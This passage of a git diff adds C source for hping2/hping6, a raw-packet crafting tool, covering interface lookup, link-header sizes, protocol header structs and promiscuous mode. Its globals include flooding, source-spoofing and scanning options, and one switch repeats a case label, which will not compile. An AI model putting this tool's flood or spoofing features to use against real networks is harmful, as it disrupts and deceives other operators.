strlcpy(ifr.ifr_name, ifa->ifa_name, sizeof(ifr.ifr_name)); + if( sizeof(ifr.ifr_addr) >= ifa->ifa_addr->sa_len ) + memcpy(&ifr.ifr_addr, ifa->ifa_addr, + ifa->ifa_addr->sa_len); + if( (s = socket(PF_INET, SOCK_DGRAM, 0)) < 0) { + perror("[get_if_name] socket"); + return -1; + } + if (ioctl(s, SIOCGIFMTU, (caddr_t)&ifr) < 0) h_if_mtu = 0; + else h_if_mtu = ifr.ifr_mtu; + close(s); +#else + if( ifa->ifa_data ) + h_if_mtu = ((struct if_data *)ifa->ifa_data)->ifi_mtu; + else { + h_if_mtu = 1500; + fprintf(stderr, "Warning: fixing MTU to 1500 !\n"); + } +#endif /* __NetBSD__ */ + continue; + } + + if (ifa->ifa_addr->sa_family == AF_INET6) { + if (opt_debug) + printf("AF_INET6 "); + continue; + } + + if (ifa->ifa_addr->sa_family == AF_INET) { + if (opt_debug) + printf("AF_INET "); + + if(strncmp(ifa->ifa_name,current_if_name,24)) + continue; /* error */ + + if(opt_debug) printf("OK\n"); + + strlcpy(ifname,ifa->ifa_name,1024); + strlcpy(ifstraddr, + inet_ntoa(((struct sockaddr_in *)ifa->ifa_addr)->sin_addr), + 1024); + + if( (saved_ifname[0] == 0) || + (!strncmp(ifa->ifa_name, saved_ifname, 24)) || + (((struct sockaddr_in *)ifa->ifa_addr)->sin_addr.s_addr == + output_if_addr.sin_addr.s_addr) ) + break; /* asked if found or first UP interface */ + } + + /* interface not found, use hardcoded 'lo' */ + strlcpy(ifname, "lo0", 1024); + strlcpy(ifstraddr, "127.0.0.1", 1024); + h_if_mtu = 1500; + } + + freeifaddrs(ifap); + return 0; +} + +#endif /* __*BSD__ */ + +/* Try to obtain the IP address of the output interface according + * to the OS routing table. Derived from R.Stevens */ +int get_output_if(struct SOCKADDR *dest, struct SOCKADDR *ifip) +{ + int sock_rt, on=1; + struct SOCKADDR iface_out; + unsigned int len; + + if(opt_ipv6) + len = sizeof(struct sockaddr_in6); + else + len = sizeof(struct sockaddr_in); + + memset(&iface_out, 0, sizeof(iface_out)); + sock_rt = socket(opt_af, SOCK_DGRAM, 0); +// dest->sin_port = htons(11111); + if (setsockopt(sock_rt, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) + == -1) { + if (opt_debug) + perror("DEBUG: [get_output_if] setsockopt(SOL_SOCKET, " + "SO_BROADCAST"); + close(sock_rt); + return -1; + } + + if (connect(sock_rt, (struct sockaddr*)dest, len) == -1 ) { + if (opt_debug) + perror("DEBUG: [get_output_if] connect"); + close(sock_rt); + return -1; + } + + if (getsockname(sock_rt, (struct sockaddr *)&iface_out, &len) == -1 ) { + if (opt_debug) + perror("DEBUG: [get_output_if] getsockname"); + close(sock_rt); + return -1; + } + close(sock_rt); +// if (iface_out.sin_addr.s_addr == 0) +// return 1; + memcpy(ifip, &iface_out, len); + return 0; +} diff --git a/getlhs.c b/getlhs.c new file mode 100644 index 0000000..3d11a47 --- /dev/null +++ b/getlhs.c @@ -0,0 +1,98 @@ +/* + * $smu-mark$ + * $name: getlhs.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +/* $Id: getlhs.c,v 1.10 2003/07/25 12:11:24 njombart Exp $ */ + +#include + +#include "hping2.h" +#include "globals.h" + + +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) +int get_linkhdr_size(char *ifname) +{ + int dltype = pcap_datalink(pcapfp); + + if (opt_debug) + printf("DEBUG: dltype is %d\n", dltype); + + switch(dltype) { + case DLT_EN10MB: + case DLT_IEEE802: + linkhdr_size = 14; + break; + case DLT_SLIP: + case DLT_SLIP_BSDOS: + linkhdr_size = 16; + break; + case DLT_PPP: + case DLT_NULL: +#ifdef DLT_PPP_SERIAL + case DLT_PPP_SERIAL: +#endif +#ifdef DLT_LOOP + case DLT_LOOP: +#endif + linkhdr_size = 4; + break; + case DLT_PPP_BSDOS: + linkhdr_size = 24; + break; + case DLT_FDDI: + linkhdr_size = 13; + break; + case DLT_RAW: + linkhdr_size = 0; + break; + case DLT_IEEE802_11: + linkhdr_size = 14; + break; + case DLT_IEEE802_11: + linkhdr_size = 14; + break; + case DLT_TOKEN_RING: + linkhdr_size = 20; + break; + case DLT_ATM_RFC1483: +#ifdef DLT_CIP + case DLT_CIP: +#endif +#ifdef DLT_ATM_CLIP + case DLT_ATM_CLIP: +#endif + linkhdr_size = 8; + break; +#ifdef DLT_C_HDLC + case DLT_C_HDLC: + linkhdr_size = 4; + break; +#endif +#ifdef DLT_LINUX_SLL + case DLT_LINUX_SLL: +#endif +#ifdef DLT_LANE8023 + case DLT_LANE8023: +#endif + linkhdr_size = 16; + break; + default: + return -1; + break; + } + return 0; +} +#else /* Linux... */ +int get_linkhdr_size(char *ifname) +{ + linkhdr_size = 0; + return 0; +} +#endif /* (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) */ diff --git a/getusec.c b/getusec.c new file mode 100644 index 0000000..7ffc2a6 --- /dev/null +++ b/getusec.c @@ -0,0 +1,27 @@ +/* + * $smu-mark$ + * $name: getusec.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 8$ + */ + +#include +#include + +time_t get_usec(void) +{ + struct timeval tmptv; + + gettimeofday(&tmptv, NULL); + return tmptv.tv_usec; +} + +time_t get_midnight_ut_ms(void) +{ + struct timeval tv; + gettimeofday(&tv, NULL); + return ((tv.tv_sec % 86400) * 1000 + tv.tv_usec / 1000); +} diff --git a/globals.h b/globals.h new file mode 100644 index 0000000..935fde7 --- /dev/null +++ b/globals.h @@ -0,0 +1,152 @@ +/* + * $smu-mark$ + * $name: globals.h$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 9$ + */ + +/* $Id: globals.h,v 1.13 2003/08/07 23:55:55 antirez Exp $ */ + +#ifndef _GLOBALS_H +#define _GLOBALS_H + +extern float + rtt_min, + rtt_max, + rtt_avg; + +extern unsigned int + tcp_th_flags, + linkhdr_size, + h_if_mtu, + virtual_mtu, + ip_frag_offset, + signlen, + lsr_length, + ssr_length, + ip_tos, + set_seqnum, + tcp_seqnum, + set_ack, + ip_header_length, + tcp_ack; + +extern unsigned short int + data_size; + +extern int opt_debug, + sockpacket, + sockraw, + sent_pkt, + recv_pkt, + out_of_sequence_pkt, + sending_wait, + opt_rawipmode, + opt_icmpmode, + opt_udpmode, + opt_scanmode, + opt_listenmode, + opt_waitinusec, + opt_numeric, + opt_gethost, + opt_quiet, + opt_relid, + opt_fragment, + opt_df, + opt_mf, + opt_debug, + opt_verbose, + opt_winid_order, + opt_keepstill, + opt_datafromfile, + opt_hexdump, + opt_contdump, + opt_sign, + opt_safe, + opt_end, + opt_traceroute, + opt_seqnum, + opt_incdport, + opt_force_incdport, + opt_icmptype, + opt_icmpcode, + opt_rroute, + opt_tcpexitcode, + opt_badcksum, + opt_tr_keep_ttl, + opt_tcp_timestamp, + opt_tr_stop, + opt_tr_no_rtt, + opt_rand_dest, + opt_rand_source, + opt_lsrr, + opt_ssrr, + tcp_exitcode, + src_ttl, + src_id, + base_dst_port, + dst_port, + src_port, + initsport, + sequence, + src_winsize, + src_thoff, + count, + ctrlzbind, + delaytable_index, + eof_reached, + icmp_ip_version, + icmp_ip_ihl, + icmp_ip_tos, + icmp_ip_tot_len, + icmp_ip_id, + icmp_ip_srcport, + icmp_ip_dstport, + opt_force_icmp, + icmp_ip_protocol, + icmp_cksum, + raw_ip_protocol, + opt_ipv6, + opt_pps, + opt_bps, + opt_af, + opt_flood; + +extern unsigned char lsr[255], + ssr[255]; + +extern char ifname[1024], + ifstraddr[1024], + datafilename[1024], + targetname[1024], + targetstraddr[1024], + spoofaddr[1024], + icmp_ip_srcip[1024], + icmp_ip_dstip[1024], + icmp_gwip[1024], + sign[1024], + rsign[1024], + ip_opt[40], + ip_optlen, + *opt_scanports; + +extern struct sockaddr_in icmp_ip_src, icmp_ip_dst, icmp_gw; +extern struct SOCKADDR local, remote; +extern struct itimerval usec_delay; +extern volatile struct delaytable_element delaytable[TABLESIZE]; +extern struct hcmphdr *hcmphdr_p; + +extern long long sum_bytes; +extern unsigned sum_packets; + +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) +#include +extern pcap_t *pcapfp; +extern char errbuf[PCAP_ERRBUF_SIZE]; +extern struct pcap_pkthdr hdr; +#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */ + +#endif /* _GLOBALS_H */ diff --git a/hcmp.h b/hcmp.h new file mode 100644 index 0000000..eb290e5 --- /dev/null +++ b/hcmp.h @@ -0,0 +1,26 @@ +/* + * $smu-mark$ + * $name: hcmp.h$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:47 MET 1999$ + * $rev: 9$ + */ + +/* Hping Control Message Protocol */ + +#define HCMP_RESTART 1 +#define HCMP_SOURCE_QUENCH 2 +#define HCMP_SOURCE_STIRUP 3 +#define HCMP_CHPROTO 4 /* still unused */ + +struct hcmphdr +{ + __u8 type; + union + { + __u16 seqnum; + __u32 usec; + } typedep; +}; diff --git a/hping2 b/hping2 new file mode 100644 index 0000000..0883968 Binary files /dev/null and b/hping2 differ diff --git a/hping2.h b/hping2.h new file mode 100644 index 0000000..7947032 --- /dev/null +++ b/hping2.h @@ -0,0 +1,497 @@ +/* + * $smu-mark$ + * $name: hping2.h$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 9$ + */ + +/* $Id: hping2.h,v 1.19 2003/08/07 23:55:55 antirez Exp $ */ + +#ifndef _HPING2_H +#define _HPING2_H + +#include +#include +#include +#include "byteorder.h" +#include "systype.h" + +#ifdef __sun__ +typedef char int_8_t; +typedef unsigned char u_int8_t; +typedef short int_16_t; +typedef unsigned short u_int16_t; +typedef int int_32_t; +typedef unsigned int u_int32_t; +#endif + +/* types */ +#ifndef __u8 +#define __u8 u_int8_t +#endif /* __u8 */ +#ifndef __u16 +#define __u16 u_int16_t +#endif /* __u16 */ +#ifndef __u32 +#define __u32 u_int32_t +#endif /* __u32 */ + +#ifndef __uint8_t +#define __uint8_t u_int8_t +#endif /* __uint8_t */ +#ifndef __uint16_t +#define __uint16_t u_int16_t +#endif /* __uint16_t */ +#ifndef __uint32_t +#define __uint32_t u_int32_t +#endif /* __uint32_t */ + +#include "hcmp.h" /* Hping Control Message Protocol */ + +/* protocols header size */ +#ifndef ICMPHDR_SIZE +#define ICMPHDR_SIZE sizeof(struct myicmphdr) +#endif +#ifndef UDPHDR_SIZE +#define UDPHDR_SIZE sizeof(struct myudphdr) +#endif +#ifndef TCPHDR_SIZE +#define TCPHDR_SIZE sizeof(struct mytcphdr) +#endif +#ifndef IPHDR_SIZE +#define IPHDR_SIZE sizeof(struct myiphdr) +#endif +#ifndef IP6HDR_SIZE +#define IP6HDR_SIZE sizeof(struct myip6hdr) +#endif + +/* wait X seconds after reached to sent packets in oreder to display replies */ +#define COUNTREACHED_TIMEOUT 1 + +/* requests status table stuffs */ +/* Warning, TABLESIZE 0 == floating point exception */ +#define TABLESIZE 400 +#define S_SENT 0 +#define S_RECV 1 + +/* usefull defines */ +#ifndef TRUE +#define TRUE 1 +#define FALSE 0 +#endif +#ifndef IFNAMSIZ +#define IFNAMSIZ 16 +#endif +#ifndef PF_PACKET +#define PF_PACKET 17 /* kernel 2.[12].* with 2.0.* kernel headers? */ +#endif +#ifndef ETH_P_IP +#define ETH_P_IP 0x0800 /* Internet Protocol packet */ +#endif +#ifndef ABS +#define ABS(x) (((x)>0) ? (x) : -(x)) +#endif + +/* header size of some physical layer type */ +#define PPPHDR_SIZE_LINUX 0 +#define PPPHDR_SIZE_FREEBSD 4 +#define PPPHDR_SIZE_OPENBSD 4 +#define PPPHDR_SIZE_NETBSD 4 +#define PPPHDR_SIZE_BSDI 4 +#define ETHHDR_SIZE 14 +#define LOHDR_SIZE 14 +#define WLANHDR_SIZE 14 +#define TRHDR_SIZE 20 + +/* packet size (physical header size + ip header + tcp header + 0 data bytes) */ +#ifndef IP_MAX_SIZE +#define IP_MAX_SIZE 65535 +#endif + +/* absolute offsets */ +#define ABS_OFFSETIP linkhdr_size +#define ABS_OFFSETTCP ( linkhdr_size + IPHDR_SIZE ) +#define ABS_OFFSETICMP ( linkhdr_size + IPHDR_SIZE ) +#define ABS_OFFSETUDP ( linkhdr_size + IPHDR_SIZE ) + +/* defaults and misc */ +#define DEFAULT_SENDINGWAIT 1 /* wait 1 sec. between sending each packets */ +#define DEFAULT_DPORT 0 /* default dest. port */ +#define DEFAULT_INITSPORT -1 /* default initial source port: -1 means random */ +#define DEFAULT_COUNT -1 /* default packets count: -1 means forever */ +#define DEFAULT_TTL 64 /* default ip->ttl value */ +#define DEFAULT_SRCWINSIZE 512 /* default tcp windows size */ +#define DEFAULT_VIRTUAL_MTU 16 /* tiny fragments */ +#define DEFAULT_ICMP_TYPE 8 /* echo request */ +#define DEFAULT_ICMP_CODE 0 /* icmp-type relative */ +#define DEFAULT_ICMP_IP_VERSION 4 +#define DEFAULT_ICMP_IP_IHL (IPHDR_SIZE >> 2) +#define DEFAULT_ICMP_IP_TOS 0 +#define DEFAULT_ICMP_IP_TOT_LEN 0 /* computed by send_icmp_*() */ +#define DEFAULT_ICMP_IP_ID 0 /* rand */ +#define DEFAULT_ICMP_CKSUM -1 /* -1 means compute the cksum */ +#define DEFAULT_ICMP_IP_PROTOCOL 6 /* TCP */ +#define DEFAULT_RAW_IP_PROTOCOL 6 /* TCP */ +#define DEFAULT_TRACEROUTE_TTL 1 + +#define BIND_NONE 0 /* no bind */ +#define BIND_DPORT 1 /* bind destination port */ +#define BIND_TTL 2 /* bind ip->ttl */ +#define DEFAULT_BIND BIND_DPORT + +/* fragmentation defines */ +#define MF ((unsigned short)0x2000) /* more fragments */ +#define DF ((unsigned short)0x4000) /* dont fragment */ +#define NF ((unsigned short)0x0000) /* no more fragments */ + +/* ip options defines */ +#define IPOPT_COPY 0x80 +#define IPOPT_CLASS_MASK 0x60 +#define IPOPT_NUMBER_MASK 0x1f + +#define IPOPT_COPIED(o) ((o)&IPOPT_COPY) +#define IPOPT_CLASS(o) ((o)&IPOPT_CLASS_MASK) +#define IPOPT_NUMBER(o) ((o)&IPOPT_NUMBER_MASK) + +#define IPOPT_CONTROL 0x00 +#define IPOPT_RESERVED1 0x20 +#define IPOPT_MEASUREMENT 0x40 +#define IPOPT_RESERVED2 0x60 + +#define IPOPT_END (0 |IPOPT_CONTROL) +#define IPOPT_NOOP (1 |IPOPT_CONTROL) +#define IPOPT_SEC (2 |IPOPT_CONTROL|IPOPT_COPY) +#define IPOPT_LSRR (3 |IPOPT_CONTROL|IPOPT_COPY) +#define IPOPT_TIMESTAMP (4 |IPOPT_MEASUREMENT) +#define IPOPT_RR (7 |IPOPT_CONTROL) +#define IPOPT_SID (8 |IPOPT_CONTROL|IPOPT_COPY) +#define IPOPT_SSRR (9 |IPOPT_CONTROL|IPOPT_COPY) +#define IPOPT_RA (20|IPOPT_CONTROL|IPOPT_COPY) + +#define IPOPT_OPTVAL 0 +#define IPOPT_OLEN 1 +#define IPOPT_OFFSET 2 +#define IPOPT_MINOFF 4 +#define MAX_IPOPTLEN 40 +#define IPOPT_NOP IPOPT_NOOP +#define IPOPT_EOL IPOPT_END +#define IPOPT_TS IPOPT_TIMESTAMP + +#define IPOPT_TS_TSONLY 0 /* timestamps only */ +#define IPOPT_TS_TSANDADDR 1 /* timestamps and addresses */ +#define IPOPT_TS_PRESPEC 3 /* specified modules only */ + +/* tcp flags */ +#ifndef TH_FIN +#define TH_FIN 0x01 +#endif +#ifndef TH_SYN +#define TH_SYN 0x02 +#endif +#ifndef TH_RST +#define TH_RST 0x04 +#endif +#ifndef TH_PUSH +#define TH_PUSH 0x08 +#endif +#ifndef TH_ACK +#define TH_ACK 0x10 +#endif +#ifndef TH_URG +#define TH_URG 0x20 +#endif +#ifndef TH_X +#define TH_X 0x40 /* X tcp flag */ +#endif +#ifndef TH_Y +#define TH_Y 0x80 /* Y tcp flag */ +#endif + +/* ICMP TYPE */ +#define ICMP_ECHOREPLY 0 /* Echo Reply */ +#define ICMP_DEST_UNREACH 3 /* Destination Unreachable */ +#define ICMP_SOURCE_QUENCH 4 /* Source Quench */ +#define ICMP_REDIRECT 5 /* Redirect (change route) */ +#define ICMP_ECHO 8 /* Echo Request */ +#define ICMP_TIME_EXCEEDED 11 /* Time Exceeded */ +#define ICMP_PARAMETERPROB 12 /* Parameter Problem */ +#define ICMP_TIMESTAMP 13 /* Timestamp Request */ +#define ICMP_TIMESTAMPREPLY 14 /* Timestamp Reply */ +#define ICMP_INFO_REQUEST 15 /* Information Request */ +#define ICMP_INFO_REPLY 16 /* Information Reply */ +#define ICMP_ADDRESS 17 /* Address Mask Request */ +#define ICMP_ADDRESSREPLY 18 /* Address Mask Reply */ + +#define ICMP6_DEST_UNREACH 1 +#define ICMP6_PACK_TOOBIG 2 +#define ICMP6_TIME_EXCEEDED 3 +#define ICMP6_PARAMETERPROB 4 +#define ICMP6_ECHO 128 +#define ICMP6_ECHOREPLY 129 + + +/* Codes for UNREACHABLE */ +#define ICMP_NET_UNREACH 0 /* Network Unreachable */ +#define ICMP_HOST_UNREACH 1 /* Host Unreachable */ +#define ICMP_PROT_UNREACH 2 /* Protocol Unreachable */ +#define ICMP_PORT_UNREACH 3 /* Port Unreachable */ +#define ICMP_FRAG_NEEDED 4 /* Fragmentation Needed/DF set */ +#define ICMP_SR_FAILED 5 /* Source Route failed */ +#define ICMP_NET_UNKNOWN 6 +#define ICMP_HOST_UNKNOWN 7 +#define ICMP_HOST_ISOLATED 8 +#define ICMP_NET_ANO 9 +#define ICMP_HOST_ANO 10 +#define ICMP_NET_UNR_TOS 11 +#define ICMP_HOST_UNR_TOS 12 +#define ICMP_PKT_FILTERED 13 /* Packet filtered */ +#define ICMP_PREC_VIOLATION 14 /* Precedence violation */ +#define ICMP_PREC_CUTOFF 15 /* Precedence cut off */ +#define NR_ICMP_UNREACH 15 /* instead of hardcoding immediate value */ + +/* Codes for REDIRECT */ +#define ICMP_REDIR_NET 0 /* Redirect Net */ +#define ICMP_REDIR_HOST 1 /* Redirect Host */ +#define ICMP_REDIR_NETTOS 2 /* Redirect Net for TOS */ +#define ICMP_REDIR_HOSTTOS 3 /* Redirect Host for TOS */ + +/* Codes for TIME_EXCEEDED */ +#define ICMP_EXC_TTL 0 /* TTL count exceeded */ +#define ICMP_EXC_FRAGTIME 1 /* Fragment Reass time exceeded */ + +/* + * IP header + */ +struct myiphdr { +#if defined(__LITTLE_ENDIAN_BITFIELD) + __u8 ihl:4, + version:4; +#elif defined (__BIG_ENDIAN_BITFIELD) + __u8 version:4, + ihl:4; +#else +#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND" +#endif + __u8 tos; + __u16 tot_len; + __u16 id; + __u16 frag_off; + __u8 ttl; + __u8 protocol; + __u16 check; + __u32 saddr; + __u32 daddr; +}; + +struct myip6hdr { +#if defined(__LITTLE_ENDIAN_BITFIELD) + __u8 tc1:4, + version:4; + __u8 flowlabel1:4, + tc2:4; + __u16 flowlabel2; +#elif defined (__BIG_ENDIAN_BITFIELD) +/* __u32 version:4, + tc:8 + flowlabel:20;*/ + __u8 version:4, + tc1:4; + __u8 tc2:4, + flowlabel1:4; + __u16 flowlabel2; +#else +#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND" +#endif + __u16 paylen; + __u8 nextheader; + __u8 hoplimit; + __u8 saddr[16]; + __u8 daddr[16]; +}; + +/* + * UDP header + */ +struct myudphdr { + __u16 uh_sport; /* source port */ + __u16 uh_dport; /* destination port */ + __u16 uh_ulen; /* udp length */ + __u16 uh_sum; /* udp checksum */ +}; + +/* + * TCP header. + * Per RFC 793, September, 1981. + */ +struct mytcphdr { + __u16 th_sport; /* source port */ + __u16 th_dport; /* destination port */ + __u32 th_seq; /* sequence number */ + __u32 th_ack; /* acknowledgement number */ +#if defined (__LITTLE_ENDIAN_BITFIELD) + __u8 th_x2:4, /* (unused) */ + th_off:4; /* data offset */ +#elif defined (__BIG_ENDIAN_BITFIELD) + __u8 th_off:4, /* data offset */ + th_x2:4; /* (unused) */ +#else +#error "Please, edit Makefile and add -D__(LITTLE|BIG)_ENDIAN_BITFIEND" +#endif + __u8 th_flags; + __u16 th_win; /* window */ + __u16 th_sum; /* checksum */ + __u16 th_urp; /* urgent pointer */ +}; + +/* + * ICMP header + */ +struct myicmphdr +{ + __u8 type; + __u8 code; + __u16 checksum; + union + { + struct + { + __u16 id; + __u16 sequence; + } echo; + __u32 gateway; + __u32 mtu; + } un; +}; + +struct icmp_tstamp_data { + __u32 orig; + __u32 recv; + __u32 tran; +}; + +/* + * UDP/TCP pseudo header + * for cksum computing + */ +struct pseudohdr +{ + __u32 saddr; + __u32 daddr; + __u8 zero; + __u8 protocol; + __u16 lenght; +}; + +struct pseudohdr6 +{ + __u8 saddr[16]; + __u8 daddr[16]; + __u16 lenght; + __u16 zero1; + __u8 zero2; + __u8 protocol; +}; + +#define PSEUDOHDR_SIZE sizeof(struct pseudohdr) +#define PSEUDOHDR6_SIZE sizeof(struct pseudohdr6) + +/* + * hping replies delay table + */ +struct delaytable_element { + int seq; + int src; + time_t sec; + time_t usec; + int status; +}; + +volatile struct delaytable_element delaytable[TABLESIZE]; + +/* protos */ +void nop(void); /* nop */ +int parse_options(int, char**); /* option parser */ +int get_if_name(void); /* get interface (see source) */ +int get_linkhdr_size(char*); /* get link layer hdr size */ +int open_sockpacket(void); /* open SOCK_PACKET socket */ +int close_sockpacket(int); /* close SOCK_PACKET socket */ +int open_sockraw(void); /* open raw socket */ +void send_packet (int signal_id); +void send_rawip (void); +void send_tcp(void); +void send_udp(void); +void send_icmp(void); +void send_hcmp(__u8 type, __u32 arg); /* send hcmp packets */ +void send_ip (char*, char*, char*, unsigned int, int, unsigned short, + char*, char); +void send_ip_handler(char *packet, unsigned int size); /* fragmentation + handler */ +void wait_packet(void); /* handle incoming packets */ +void print_statistics(int); +void show_usage(void); +void show_version(void); +void resolve(struct sockaddr*, char*); /* resolver */ +void log_icmp_unreach(const char*, unsigned short);/* ICMP unreachable logger */ +void log_icmp_timeexc(const char*, unsigned short);/* ICMP time exceeded logger */ +time_t get_usec(void); /* return current usec */ +time_t get_midnight_ut_ms(void); /* ms from UT midnight */ +__u16 cksum(__u16 *buf, int nwords); /* compute 16bit checksum */ +void inc_destparm(int sid); /* inc dst port or ttl */ +char *get_hostname(const char*); /* get host from addr */ +void datafiller(char *p, int size); /* fill data from file */ +void data_handler(char *data, int data_size);/* handle data filling */ +void socket_broadcast(int sd); /* set SO_BROADCAST option */ +void socket_iphdrincl(int sd); /* set SO_IPHDRINCL option */ +void listenmain(void); /* main for listen mode */ +char *memstr(char *haystack, char *needle, int size); /* memstr */ +void tos_help(void); /* show the TOS help */ +int rtt(int *seqp, int recvport, float *ms_delay); /* compute round trip time */ +int relativize_id(int seqnum, int *ip_id); /* compute relative id */ +int if_promisc_on(int s); /* promisc. mode ON */ +int if_promisc_off(int s); /* promisc. mode OFF */ +int open_pcap(void); /* open libpcap socket */ +int close_pcap(void); /* close libpcap socket */ +int pcap_recv(char *, unsigned int); /* libpcap api wrapper */ +int memlock(char *addr, size_t size); /* disable paging */ +int memunlock(char *addr, size_t size); /* enable paging */ +int memlockall(void); /* disable paging (all pages) */ +int memunlockall(void); /* enable paging (all pages) */ +unsigned char ip_opt_build(char *ip_opt); /* build ip options */ +void display_ipopt(char* buf); /* display ip options */ +void icmp_help(void); /* show the ICMP help */ +void route_help(void); /* show the route help */ +void (*Signal(int signo, void (*func)(int)))(int); +void delaytable_add(int seq, int src, time_t sec, time_t usec, int status); +int read_packet(void *packet, int size); +void scanmain(void); +u_int32_t hp_rand(void); +struct in6_addr ipv6_rand(char *net,int prefixlen); +#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ + !defined(__bsdi__) && !defined(__APPLE__) +size_t strlcpy(char *dst, const char *src, size_t siz); +#endif + +/* ARS glue */ +void hping_ars_send(char *s); + +struct SOCKADDR +{ + __u8 data[50]; +}; + +#define ADDR(x) ({ \ +void *tmp; \ +if(opt_ipv6) \ + tmp=&((struct sockaddr_in6*)(x))->sin6_addr; \ +else \ + tmp=&((struct sockaddr_in*)(x))->sin_addr; \ +tmp; \ +}) +#define ADDR4(x) (((struct sockaddr_in*)(x))->sin_addr) +#define ADDR6(x) (((struct sockaddr_in6*)(x))->sin6_addr) +#define ADDRCMP(x,y) (memcmp(ADDR(x),ADDR(y),opt_ipv6?16:4)) + +#endif /* _HPING2_H */ diff --git a/hping6 b/hping6 new file mode 100644 index 0000000..cd9732f Binary files /dev/null and b/hping6 differ diff --git a/hstring.c b/hstring.c new file mode 100644 index 0000000..3bfc9e2 --- /dev/null +++ b/hstring.c @@ -0,0 +1,80 @@ +/* hstring.c - Random string-related functions for hping. + * Copyright(C) 2003 Salvatore Sanfilippo + * All rights reserved */ + +#include +#include +#include + +/* return 1 if the string looks like an integer number + * otherwise 0 is returned. + * + * this function is equivalent to this regexp: + * [:space:]*-{0,1}[0-9]+[:space:]* + * in english: + * (0-inf spaces)(zero or one -)(1-inf digits)(0-inf spaces) + */ +int strisnum(char *s) +{ + int digits = 0; /* used to return false if there aren't digits */ + + while(isspace(*s)) + s++; /* skip initial spaces */ + if (*s == '-') /* negative number? */ + s++; + while(*s) { + if (isspace(*s)) { /* skip spaces in the tail */ + while(isspace(*s)) + s++; + if (*s) return 0; /* but don't allow other tail chars */ + return digits ? 1 : 0; + } + if (!isdigit(*s)) + return 0; + s++; + digits++; + } + return digits ? 1 : 0; +} + +/* function similar to strtok() more convenient when we know the + * max number of tokens, to tokenize with a single call. + * Unlike strtok(), strftok() is thread safe. + * + * ARGS: + * 'sep' is a string that contains all the delimiter characters + * 'str' is the string to tokenize, that will be modified + * 'tptrs' is an array of char* poiters that will contain the token pointers + * 'nptrs' is the length of the 'tptrs' array. + * + * RETURN VALUE: + * The number of extracted tokens is returned. + */ +size_t strftok(char *sep, char *str, char **tptrs, size_t nptrs) +{ + size_t seplen = strlen(sep); + size_t i, j = 0; + int inside = 0; + + while(*str) { + for(i = 0; i < seplen; i++) { + if (sep[i] == *str) + break; + } + if (i == seplen) { /* no match */ + if (!inside) { + tptrs[j++] = str; + inside = 1; + } + } else { /* match */ + if (inside) { + *str = '\0'; + if (j == nptrs) + return j; + inside = 0; + } + } + str++; + } + return j; +} diff --git a/hstring.h b/hstring.h new file mode 100644 index 0000000..9f83133 --- /dev/null +++ b/hstring.h @@ -0,0 +1,7 @@ +#ifndef HPING_HSTRNIG_H +#define HPING_HSTRING_H + +int strisnum(char *s); +size_t strftok(char *sep, char *str, char **tptrs, size_t nptrs); + +#endif diff --git a/if_promisc.c b/if_promisc.c new file mode 100644 index 0000000..f986005 --- /dev/null +++ b/if_promisc.c @@ -0,0 +1,60 @@ +/* + * $smu-mark$ + * $name: if_promisc.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 2$ + */ + +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +int if_promisc_on(int s) +{ + struct ifreq ifr; + + strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + if ( ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { + perror("[open_sockpacket] ioctl(SIOCGIFFLAGS)"); + return -1; + } + + if (!(ifr.ifr_flags & IFF_PROMISC)) { + ifr.ifr_flags |= IFF_PROMISC; + if ( ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { + perror("[open_sockpacket] ioctl(SIOCSIFFLAGS)"); + return -1; + } + } + return 0; +} + +int if_promisc_off(int s) +{ + struct ifreq ifr; + + strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + if ( ioctl(s, SIOCGIFFLAGS, &ifr) == -1) { + perror("[open_sockpacket] ioctl(SIOCGIFFLAGS)"); + return -1; + } + + if (ifr.ifr_flags & IFF_PROMISC) { + ifr.ifr_flags ^= IFF_PROMISC; + if ( ioctl(s, SIOCSIFFLAGS, &ifr) == -1) { + perror("[open_sockpacket] ioctl(SIOCSIFFLAGS)"); + return -1; + } + } + return 0; +} diff --git a/in.h b/in.h new file mode 100644 index 0000000..306d8e6 --- /dev/null +++ b/in.h @@ -0,0 +1,32 @@ +/* Copyright (C) 2000,2001 Salvatore Sanfilippo */ + +#ifndef ARS_IPPROTO_IP + +#define ARS_IPPROTO_IP 0 /* Dummy protocol for TCP. */ +#define ARS_IPPROTO_HOPOPTS 0 /* IPv6 Hop-by-Hop options. */ +#define ARS_IPPROTO_ICMP 1 /* Internet Control Message Protocol. */ +#define ARS_IPPROTO_IGMP 2 /* Internet Group Management Protocol. */ +#define ARS_IPPROTO_IPIP 4 /* IPIP tunnels (older KA9Q tunnels use 94).*/ +#define 